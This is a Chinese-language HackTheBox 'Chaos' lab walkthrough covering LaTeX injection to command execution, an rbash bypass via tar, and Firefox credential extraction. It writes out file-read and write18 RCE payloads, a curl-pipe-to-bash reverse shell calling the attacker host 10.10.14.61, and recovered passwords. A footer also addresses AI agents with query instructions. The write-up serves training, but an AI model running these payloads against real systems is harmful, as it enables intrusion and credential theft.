> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Chaos HackTheBox 复现

Chaos HackTheBox 中等难度 Linux 靶机复现，涵盖密码猜测、滥用电子邮件服务（claws-mail）、密码学挑战（解密秘密消息 - AES 加密）、LaTeX 注入（RCE），并包含实

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**技能：**

* 密码猜测
* 滥用电子邮件服务（claws-mail）
* 密码学挑战（解密秘密消息 - AES 加密）
* LaTeX 注入（RCE）
* 绕过 rbash（受限 Bash）
* 从 Firefox 配置文件中提取凭据
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e0e572fdc2a5773743826ec2b849cf33026141a%2Fimage%20(2869).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-886e444921565690aa5bf5c2f0e44daa78f6f0f7%2F%7B70B3A7B9-6188-47CE-AC9D-BC44555F0424%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c432ce12c497ed55ebc0811e307a2f89e2820bf%2F%7B8637BA8B-D422-426D-8830-47F8F9543716%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 ExtractPorts 进行开放端口分析（**&#x38;0.110,143.993.995,10000)

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c09ddc100cf436624c7d5236e6d8bc57bd7b1f1%2F%7B7CDE77E1-88EA-41E1-9182-814286D69E48%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15580be5ae661745c7c2eefb9ae2ac9c09a4e693%2Fimage%20(2870).png?alt=media" alt=""><figcaption></figcaption></figure>

## **利用**

#### **80 端口 - Web 枚举**

通过 IP 的直接访问被阻止。因此我们添加 `chaos.htb` 域名到 `/etc/hosts`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c857d7c449476597df8d936d4b2685692bdefdf5%2F%7B9500F56C-4582-490F-B51E-55D0E04DB221%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f7dd1cd1542f77ad2567e3087698c5be43dfc83%2F%7B4FE99E6E-196B-48D0-9891-E8FD9C403071%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fafee6531ba359517ed67dcde5a32d9f75c7ccb1%2F%7B1596CF3F-80BE-4E63-9C8F-A27BB29D593A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **目录爆破**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

没有结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81cc43025f9a4736ee6c66c7cfe4863b82596a0b%2F%7B25D8CA6E-70CF-42FD-A2B7-9E0175D42B3B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**通过 IP 地址进行爆破：**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

我们发现了一个文件夹 `/wp` 表明是 WordPress。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b36ac0fcf5c84b0078b2450393b8b5166a46ea2%2F%7B03982E5B-29D5-4C96-8074-1A146502D79A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

添加 `wordpress.chaos.htb` 子域名到 `/etc/hosts`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78ba6e3ac5e3c43140b4ac886d3fba32dea685a7%2F%7B3631936B-8AA1-4C66-A3DF-18719A78485F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7a148f77a3d23ded1eed6df870f2b04799d3fbf1%2F%7B05592AE1-1B88-4512-B12D-74F76D58C5EC%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **WordPress 枚举**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-98d53577b9af8bf61998b16ac91e7e39211a0309%2Fimage%20(2871).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到一个 `人类` WordPress 上的用户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1212c706fd771b31cf1ccb49c66688cfd275c0e%2Fimage%20(2872).png?alt=media" alt=""><figcaption></figcaption></figure>

### **密码猜测**

一篇 WordPress 文章中包含一个密码。我们测试 `人类` 并且它有效。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-572336d31576241ffa95a7abe32d080cb8910765%2Fimage%20(2873).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到了一个网页邮箱的凭据：

* **用户名**: ayush
* **密码**: jiujitsu

## **993/995 端口 - 网页邮箱**

993 端口表示一个 IMAP 邮件服务器。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b7404572c7aa4ec0c0e70d817762b7829207e35%2Fimage%20(2875).png?alt=media" alt=""><figcaption></figcaption></figure>

我们使用 `claws-mail` 用于访问 Ayush 的邮箱。

```bash
claws-mail
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3263310ce9cd72ac9f3bd3c9076dad140da270d0%2F%7BC5AD9C13-EB8E-4368-A0A4-A0676498D4B9%7D.png?alt=media" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b00635de42150f70dd0314628d07b8101e6ffc3%2F%7BDC3C6847-4A58-47AF-B7DA-FE60510B40C5%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

在一封电子邮件中，我们发现了两个附件和以下消息：

> 嗨，Sahay
>
> 检查 enmsg.txt 文件。你就是 XD 密码。我还附上了我用来加密的脚本。谢谢。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40875b10a628ed38a3b5dafd788f7b67cc46fe34%2F%7BD46A14D5-0124-453F-8B24-01F37B8171CE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **解密秘密消息 - AES 加密**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-178c2d4f8e08e49a724077609c6ec75e0d37edc9%2Fimage%20(2876).png?alt=media" alt=""><figcaption></figcaption></figure>

我们找到了一个 `decrypt.py` GitHub 上的脚本，它属于同一个项目

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f819588867b6c28d6e1a8fb2ee1dccde0267c79%2Fimage%20(2877).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### 执行时：

```bash
python3 decrypt.py
输入文件名：./enim_msg.txt
输入密码：sahay
```

内容使用以下命令解码： `base64`:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47d7364eb1232a0e0c407ed174065c92828349eb%2F%7B2357600A-2C93-4BDB-B3EA-625F2DB12002%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

消息揭示了一个位于以下地址的 LaTeX 服务： `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **嗨，Sahay,**
>
> 请发现我们的新服务，它可以创建 PDF。
>
> 附言——正如你建议的那样，我加密了重要消息。
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **阻止控制**
>
> 谢谢， **Ayush**
>
> 谢谢，Ayush

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e19aa15fd451bfe56a08d6fe674f293471de5a2%2F%7B4F08ABD9-C9C6-40D2-885E-2FF781D45E61%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **LaTeX 注入漏洞**

### LaTeX 注入（文件读取器）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44cdc0626603db4295e39ab63a706405e21a3f44%2F%7BD11A817B-9E75-4F22-9048-F28ADB0BFF85%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们拦截请求

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c803f1232066e5003a7c36eb2a41846c9977929%2F%7BB80F570A-F75F-4E0F-BACE-44ED121823D2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c435264613ff97499ffee20150bf2d13840fd0ab%2F%7B3F31B925-0999-4D13-89B1-689C3CC6E967%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 文档 PDF LaTeX：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-389382ae48cac655a6dbbd6bd1d3b2d4de38d194%2F%7B786F4FBA-A05A-448B-98E7-D809F646870F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们注入：

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46580438c729ecb00b3966e3b16044645da5f015%2F%7B7650F86A-4514-4582-B2BE-61E6B10C4C49%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **LaTeX RCE 利用**

我们执行一个 `id` 通过以下方式执行命令：

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54cc6dccfc1239730156e434106648b0b89b99a1%2F%7B9AFA8CE4-D320-4F50-B4D1-22DC77AC3151%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **反向 Shell**

我们在 443 端口监听：

```bash
nc -nvlp 443
```

我们创建一个 `index.html` bash 脚本：

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

我们启动一个 Web 服务器：

```bash
python3 -m http.server 80
```

载荷注入：

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5e86b471c726e1b5be79cf564b1a5c297e2677d%2F%7BE55FC9DB-C9E4-4D6E-9449-1FB79DC8AB03%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **权限提升**

### **横向切换到用户 Ayush - 绕过 rbash**

我们以 Ayush 身份连接，但我们被限制在一个 `rbash` shell。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ccf75cb0c2213c616fd08c5ffeb2c6417226af79%2F%7BE7269D07-4C20-424B-9EF7-9E712E9408C2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

可用命令列表：

```bash
compgen -c
```

我们找到 `tar` 并绕过 `rbash` 发送另一个请求，带有：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7e176e1269cb24791c063219c44d208dd8c8459%2Fimage%20(2878).png?alt=media" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b827c9b07e30adadce208e1c372c59b03b853ee%2F%7BBD5A2740-866A-49E0-82EF-6940008D6F95%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

我们获得了完整 shell 的访问权限，并找回 `user.txt`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0af321c197d3183d092a77993149b55fd92e5956%2F%7B98F8D35D-EB11-44D9-9471-3B2812FC3AE2%7D.png?alt=media" alt="" width="449"><figcaption></figcaption></figure>

## **Firefox 凭据提取**

在 `.mozilla` 在 Ayush 的文件夹中，我们找到 `key4.db` 和 `logins.json`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c2eac40396c2b68731261b765a11e1f2e8aba38%2F%7BABE56395-52E7-47A5-A158-2751DAA891DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

我们将它们传输到我们的机器：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7c1a19c56ca0ebe1ad23ec4a5dc219ea2cbb707%2Fimage%20(2879).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-361a3cf3c76dc4b8ebece6f6c45d4223af4b8eec%2F%7B7F048C52-413C-411D-AA78-D13832493613%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

使用以下方式解密 ID： `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

我们输入 `jiujitsu` 作为主密码，并恢复：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-353c93e01df2ee3d686c6f48ae7e6b0d8aff7dca%2F%7BCC0C45D8-BED8-4DDE-A59A-21B9B6FD2174%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

> 配置文件 chaos.htb:8080/bzo7sjt1.default 的主密码
>
> 网站：<https://chaos.htb:10000>
>
> 用户名：'root' 密码：'Thiv8wrej/\~

Root 连接：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d19ece2daa94363056a5693a96c5da054f6fcece%2F%7B3BD0E5C2-8D36-4A6D-AF06-97FAD812FE32%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac9d92b3ed0877a431b3f05fef4152dea8a423d6%2F%7BCEA5FF13-54E3-498F-B626-BF62E54A32FC%7D.png?alt=media" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a6469aabccd98e215dfa871af046720c9e39e4c%2Fimage%20(2880).png?alt=media" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
